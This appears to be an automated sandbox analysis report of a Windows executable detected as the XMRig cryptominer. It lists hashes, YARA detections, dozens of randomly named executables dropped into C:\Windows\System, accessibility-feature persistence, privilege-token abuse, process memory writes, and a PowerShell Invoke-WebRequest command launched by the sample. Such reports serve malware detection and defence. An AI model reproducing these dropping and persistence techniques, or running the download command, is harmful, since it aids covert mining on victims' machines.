xmrig | 71b57773dc895cca156c4c21468fb1949b4ec866571576f4cdc240696dd18c27

Analysis

max time kernel
119s
max time network
118s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
06/08/2024, 22:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1e5b13373a2e668a9f2c1858ec2d2030N.exe
Size

1.2MB
MD5

1e5b13373a2e668a9f2c1858ec2d2030
SHA1

05f9b957beed93326009046cd92f44cb39c16c72
SHA256

71b57773dc895cca156c4c21468fb1949b4ec866571576f4cdc240696dd18c27
SHA512

962cb723630dc910b913c752042a875880a76853e0ae654ea443dec89e3232bf86c84ccf8b08d643d68819ca4e177b35248dfad8c910101109750113b386009b
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYMYkWvUmPBLl+CX:Lz071uv4BPMkibTIA5BBMm5ww

Score

10^/10

xmrig execution miner persistence privilege_escalation upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 23 IoCs

miner

resource	yara_rule
behavioral1/memory/2228-14-0x000000013F970000-0x000000013FD62000-memory.dmp	xmrig
behavioral1/memory/2616-188-0x000000013FE60000-0x0000000140252000-memory.dmp	xmrig
behavioral1/memory/2784-193-0x000000013FFC0000-0x00000001403B2000-memory.dmp	xmrig
behavioral1/memory/2688-197-0x000000013FD80000-0x0000000140172000-memory.dmp	xmrig
behavioral1/memory/1556-201-0x000000013F0F0000-0x000000013F4E2000-memory.dmp	xmrig
behavioral1/memory/1760-199-0x000000013FF00000-0x00000001402F2000-memory.dmp	xmrig
behavioral1/memory/2620-195-0x000000013F470000-0x000000013F862000-memory.dmp	xmrig
behavioral1/memory/2188-192-0x000000013FCD0000-0x00000001400C2000-memory.dmp	xmrig
behavioral1/memory/2880-189-0x000000013FF20000-0x0000000140312000-memory.dmp	xmrig
behavioral1/memory/2772-187-0x000000013F990000-0x000000013FD82000-memory.dmp	xmrig
behavioral1/memory/2820-29-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	xmrig
behavioral1/memory/2820-4727-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	xmrig
behavioral1/memory/2544-4742-0x000000013F5A0000-0x000000013F992000-memory.dmp	xmrig
behavioral1/memory/2620-4781-0x000000013F470000-0x000000013F862000-memory.dmp	xmrig
behavioral1/memory/2688-4829-0x000000013FD80000-0x0000000140172000-memory.dmp	xmrig
behavioral1/memory/1556-4883-0x000000013F0F0000-0x000000013F4E2000-memory.dmp	xmrig
behavioral1/memory/2784-4808-0x000000013FFC0000-0x00000001403B2000-memory.dmp	xmrig
behavioral1/memory/1760-4789-0x000000013FF00000-0x00000001402F2000-memory.dmp	xmrig
behavioral1/memory/2880-4778-0x000000013FF20000-0x0000000140312000-memory.dmp	xmrig
behavioral1/memory/2616-4761-0x000000013FE60000-0x0000000140252000-memory.dmp	xmrig
behavioral1/memory/2188-4752-0x000000013FCD0000-0x00000001400C2000-memory.dmp	xmrig
behavioral1/memory/2772-4734-0x000000013F990000-0x000000013FD82000-memory.dmp	xmrig
behavioral1/memory/2228-4731-0x000000013F970000-0x000000013FD62000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2544	kJKzgMN.exe
2228	IgJamKe.exe
2820	rHvULyw.exe
2772	QyKNKOG.exe
2616	DuPoORn.exe
2880	KqIegeB.exe
2188	RJPCXRC.exe
2784	vfbwEXE.exe
2620	svDJXGI.exe
2688	hwAMhlC.exe
1760	jdqcGvW.exe
1556	NCCVGzu.exe
1056	CqzEAZc.exe
2944	mMRVKWK.exe
1140	VPCgvfb.exe
2700	kXiHxPG.exe
2040	mgaroOW.exe
644	CJpbOLx.exe
1948	nJofxyw.exe
1832	mrtSamG.exe
2708	bMhjyhc.exe
2796	iYHcfyG.exe
692	eQqyXmA.exe
1036	antCDNK.exe
2432	HPUTLlL.exe
408	vyyULgQ.exe
1152	fOqlQIS.exe
2480	LvIQmls.exe
2592	rWshAzT.exe
1680	BJqQpDu.exe
1380	UExBYcD.exe
1604	skFsNEj.exe
2520	HRUewNc.exe
928	wfXomJp.exe
2340	PIktQIB.exe
2220	CvTOUsP.exe
976	fALnFMF.exe
2996	rofqBzD.exe
1676	bEWSnPO.exe
580	tfTxdFa.exe
1692	SnQskLF.exe
1588	ooCXZon.exe
2540	kxwKccg.exe
1384	wSPPLzL.exe
1788	LwCpkpZ.exe
1740	couELqC.exe
1936	iGMlAKc.exe
1500	tRueSCx.exe
1748	aITieNv.exe
1248	WIQEOPm.exe
1592	fuWjNXv.exe
2348	iaKxIet.exe
2844	xNeuAVq.exe
2928	JKsEveh.exe
2604	ZiSCUsa.exe
860	QiusaSH.exe
2728	HWLsChI.exe
2932	VYkyhXG.exe
2052	TlAYmzN.exe
1072	WaTQBPq.exe
1576	WHEwRdg.exe
1520	FdLPpXk.exe
2628	dxMKHLp.exe
2152	tklyocH.exe

Loads dropped DLL 64 IoCs

pid	Process
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe

UPX packed file 59 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2280-0-0x000000013FD40000-0x0000000140132000-memory.dmp	upx
behavioral1/files/0x00080000000120fb-3.dat	upx
behavioral1/memory/2544-7-0x000000013F5A0000-0x000000013F992000-memory.dmp	upx
behavioral1/files/0x0008000000016cc4-11.dat	upx
behavioral1/memory/2228-14-0x000000013F970000-0x000000013FD62000-memory.dmp	upx
behavioral1/files/0x0009000000016ccd-20.dat	upx
behavioral1/files/0x0008000000016ce8-32.dat	upx
behavioral1/files/0x0007000000016d04-42.dat	upx
behavioral1/files/0x00050000000193f0-55.dat	upx
behavioral1/files/0x00050000000193e6-51.dat	upx
behavioral1/files/0x000500000001948d-66.dat	upx
behavioral1/files/0x000500000001958b-76.dat	upx
behavioral1/files/0x00050000000195ce-114.dat	upx
behavioral1/files/0x00050000000195e0-121.dat	upx
behavioral1/files/0x00050000000195cc-132.dat	upx
behavioral1/files/0x0005000000019bec-148.dat	upx
behavioral1/files/0x0005000000019cd5-169.dat	upx
behavioral1/files/0x00050000000195c6-100.dat	upx
behavioral1/memory/2616-188-0x000000013FE60000-0x0000000140252000-memory.dmp	upx
behavioral1/memory/2784-193-0x000000013FFC0000-0x00000001403B2000-memory.dmp	upx
behavioral1/memory/2688-197-0x000000013FD80000-0x0000000140172000-memory.dmp	upx
behavioral1/memory/1556-201-0x000000013F0F0000-0x000000013F4E2000-memory.dmp	upx
behavioral1/files/0x00050000000195d0-137.dat	upx
behavioral1/files/0x0005000000019c0b-162.dat	upx
behavioral1/files/0x0005000000019cfc-171.dat	upx
behavioral1/files/0x00050000000196a0-166.dat	upx
behavioral1/files/0x0005000000019bf0-151.dat	upx
behavioral1/files/0x0005000000019931-142.dat	upx
behavioral1/files/0x0005000000019624-123.dat	upx
behavioral1/files/0x00050000000195c8-110.dat	upx
behavioral1/memory/1760-199-0x000000013FF00000-0x00000001402F2000-memory.dmp	upx
behavioral1/memory/2620-195-0x000000013F470000-0x000000013F862000-memory.dmp	upx
behavioral1/memory/2188-192-0x000000013FCD0000-0x00000001400C2000-memory.dmp	upx
behavioral1/memory/2880-189-0x000000013FF20000-0x0000000140312000-memory.dmp	upx
behavioral1/memory/2772-187-0x000000013F990000-0x000000013FD82000-memory.dmp	upx
behavioral1/files/0x0005000000019bf2-157.dat	upx
behavioral1/files/0x0009000000016ca5-140.dat	upx
behavioral1/files/0x0005000000019665-130.dat	upx
behavioral1/files/0x00050000000195c4-89.dat	upx
behavioral1/files/0x00050000000195c2-82.dat	upx
behavioral1/files/0x00050000000195ca-103.dat	upx
behavioral1/files/0x00050000000195c7-93.dat	upx
behavioral1/files/0x00050000000194e2-71.dat	upx
behavioral1/files/0x000500000001945c-61.dat	upx
behavioral1/files/0x0007000000016cf0-41.dat	upx
behavioral1/files/0x0007000000004e74-40.dat	upx
behavioral1/memory/2820-29-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	upx
behavioral1/memory/2820-4727-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	upx
behavioral1/memory/2544-4742-0x000000013F5A0000-0x000000013F992000-memory.dmp	upx
behavioral1/memory/2620-4781-0x000000013F470000-0x000000013F862000-memory.dmp	upx
behavioral1/memory/2688-4829-0x000000013FD80000-0x0000000140172000-memory.dmp	upx
behavioral1/memory/1556-4883-0x000000013F0F0000-0x000000013F4E2000-memory.dmp	upx
behavioral1/memory/2784-4808-0x000000013FFC0000-0x00000001403B2000-memory.dmp	upx
behavioral1/memory/1760-4789-0x000000013FF00000-0x00000001402F2000-memory.dmp	upx
behavioral1/memory/2880-4778-0x000000013FF20000-0x0000000140312000-memory.dmp	upx
behavioral1/memory/2616-4761-0x000000013FE60000-0x0000000140252000-memory.dmp	upx
behavioral1/memory/2188-4752-0x000000013FCD0000-0x00000001400C2000-memory.dmp	upx
behavioral1/memory/2772-4734-0x000000013F990000-0x000000013FD82000-memory.dmp	upx
behavioral1/memory/2228-4731-0x000000013F970000-0x000000013FD62000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\MAePxWl.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\fPlJpWK.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\FZNKqiO.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\uUGeIbX.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\mWosgzw.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\tCyXljG.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\avnHasW.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\tcZDOcA.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\OeOSiTB.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\EOIyowx.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\usEXAfb.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\SLNSBRn.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\YcfoWNL.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\aqBZgjd.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\CJcosqC.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\XETiaEn.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\VuDdLCH.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\awFwPSx.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\gvZpyMx.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\eRoTiUw.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\gKkrzUU.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\hJzCpbu.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\qLquxhZ.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\ZNqIJWF.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\hbNSpIj.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\dinPptM.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\DpRgdRz.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\wGsBctu.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\RgaWPFJ.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\hQIrWOR.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\zDNXvkw.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\HXBYVIV.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\EeHaZHl.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\iwPoHEv.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\fMNgYwD.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\puwIvat.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\XqSUcuP.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\vhsTcAx.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\fElduyc.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\AdoPfFi.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\skqIFMf.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\xGfEpsI.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\HLUJDmj.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\UHbVVRc.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\POKpCLv.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\GABZHNh.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\RvFJjKg.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\fIkOGqk.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\oaIMtJM.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\fwqaHRA.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\AMggfnK.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\nCMkIdb.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\CSptvgv.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\ENTXjVG.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\tpiPmNG.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\blgjeaq.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\ylBnrBn.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\rzDpsWM.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\HgXBbqX.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\imirlyA.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\BdPMHAq.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\nBPANtM.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\wgxniIo.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe
File created	C:\Windows\System\RbityJU.exe	1e5b13373a2e668a9f2c1858ec2d2030N.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
Token: SeLockMemoryPrivilege	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 2564	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	31
PID 2280 wrote to memory of 2564	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	31
PID 2280 wrote to memory of 2564	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	31
PID 2280 wrote to memory of 2544	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	32
PID 2280 wrote to memory of 2544	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	32
PID 2280 wrote to memory of 2544	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	32
PID 2280 wrote to memory of 2228	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	33
PID 2280 wrote to memory of 2228	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	33
PID 2280 wrote to memory of 2228	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	33
PID 2280 wrote to memory of 2820	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	34
PID 2280 wrote to memory of 2820	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	34
PID 2280 wrote to memory of 2820	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	34
PID 2280 wrote to memory of 2616	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	35
PID 2280 wrote to memory of 2616	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	35
PID 2280 wrote to memory of 2616	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	35
PID 2280 wrote to memory of 2772	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	36
PID 2280 wrote to memory of 2772	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	36
PID 2280 wrote to memory of 2772	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	36
PID 2280 wrote to memory of 2880	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	37
PID 2280 wrote to memory of 2880	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	37
PID 2280 wrote to memory of 2880	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	37
PID 2280 wrote to memory of 2188	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	38
PID 2280 wrote to memory of 2188	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	38
PID 2280 wrote to memory of 2188	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	38
PID 2280 wrote to memory of 2784	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	39
PID 2280 wrote to memory of 2784	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	39
PID 2280 wrote to memory of 2784	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	39
PID 2280 wrote to memory of 2620	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	40
PID 2280 wrote to memory of 2620	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	40
PID 2280 wrote to memory of 2620	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	40
PID 2280 wrote to memory of 2688	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	41
PID 2280 wrote to memory of 2688	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	41
PID 2280 wrote to memory of 2688	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	41
PID 2280 wrote to memory of 1760	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	42
PID 2280 wrote to memory of 1760	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	42
PID 2280 wrote to memory of 1760	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	42
PID 2280 wrote to memory of 1556	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	43
PID 2280 wrote to memory of 1556	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	43
PID 2280 wrote to memory of 1556	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	43
PID 2280 wrote to memory of 1056	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	44
PID 2280 wrote to memory of 1056	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	44
PID 2280 wrote to memory of 1056	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	44
PID 2280 wrote to memory of 2944	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	45
PID 2280 wrote to memory of 2944	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	45
PID 2280 wrote to memory of 2944	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	45
PID 2280 wrote to memory of 1140	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	46
PID 2280 wrote to memory of 1140	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	46
PID 2280 wrote to memory of 1140	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	46
PID 2280 wrote to memory of 2040	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	47
PID 2280 wrote to memory of 2040	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	47
PID 2280 wrote to memory of 2040	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	47
PID 2280 wrote to memory of 2700	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	48
PID 2280 wrote to memory of 2700	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	48
PID 2280 wrote to memory of 2700	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	48
PID 2280 wrote to memory of 1948	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	49
PID 2280 wrote to memory of 1948	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	49
PID 2280 wrote to memory of 1948	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	49
PID 2280 wrote to memory of 644	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	50
PID 2280 wrote to memory of 644	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	50
PID 2280 wrote to memory of 644	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	50
PID 2280 wrote to memory of 692	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	51
PID 2280 wrote to memory of 692	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	51
PID 2280 wrote to memory of 692	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	51
PID 2280 wrote to memory of 1832	2280	1e5b13373a2e668a9f2c1858ec2d2030N.exe	52

C:\Users\Admin\AppData\Local\Temp\1e5b13373a2e668a9f2c1858ec2d2030N.exe
"C:\Users\Admin\AppData\Local\Temp\1e5b13373a2e668a9f2c1858ec2d2030N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564
- C:\Windows\System\kJKzgMN.exe
  C:\Windows\System\kJKzgMN.exe
  2⤵
  - Executes dropped EXE
  PID:2544
- C:\Windows\System\IgJamKe.exe
  C:\Windows\System\IgJamKe.exe
  2⤵
  - Executes dropped EXE
  PID:2228
- C:\Windows\System\rHvULyw.exe
  C:\Windows\System\rHvULyw.exe
  2⤵
  - Executes dropped EXE
  PID:2820
- C:\Windows\System\DuPoORn.exe
  C:\Windows\System\DuPoORn.exe
  2⤵
  - Executes dropped EXE
  PID:2616
- C:\Windows\System\QyKNKOG.exe
  C:\Windows\System\QyKNKOG.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\KqIegeB.exe
  C:\Windows\System\KqIegeB.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\RJPCXRC.exe
  C:\Windows\System\RJPCXRC.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\vfbwEXE.exe
  C:\Windows\System\vfbwEXE.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\svDJXGI.exe
  C:\Windows\System\svDJXGI.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\hwAMhlC.exe
  C:\Windows\System\hwAMhlC.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\jdqcGvW.exe
  C:\Windows\System\jdqcGvW.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Windows\System\NCCVGzu.exe
  C:\Windows\System\NCCVGzu.exe
  2⤵
  - Executes dropped EXE
  PID:1556
- C:\Windows\System\CqzEAZc.exe
  C:\Windows\System\CqzEAZc.exe
  2⤵
  - Executes dropped EXE
  PID:1056
- C:\Windows\System\mMRVKWK.exe
  C:\Windows\System\mMRVKWK.exe
  2⤵
  - Executes dropped EXE
  PID:2944
- C:\Windows\System\VPCgvfb.exe
  C:\Windows\System\VPCgvfb.exe
  2⤵
  - Executes dropped EXE
  PID:1140
- C:\Windows\System\mgaroOW.exe
  C:\Windows\System\mgaroOW.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\kXiHxPG.exe
  C:\Windows\System\kXiHxPG.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\nJofxyw.exe
  C:\Windows\System\nJofxyw.exe
  2⤵
  - Executes dropped EXE
  PID:1948
- C:\Windows\System\CJpbOLx.exe
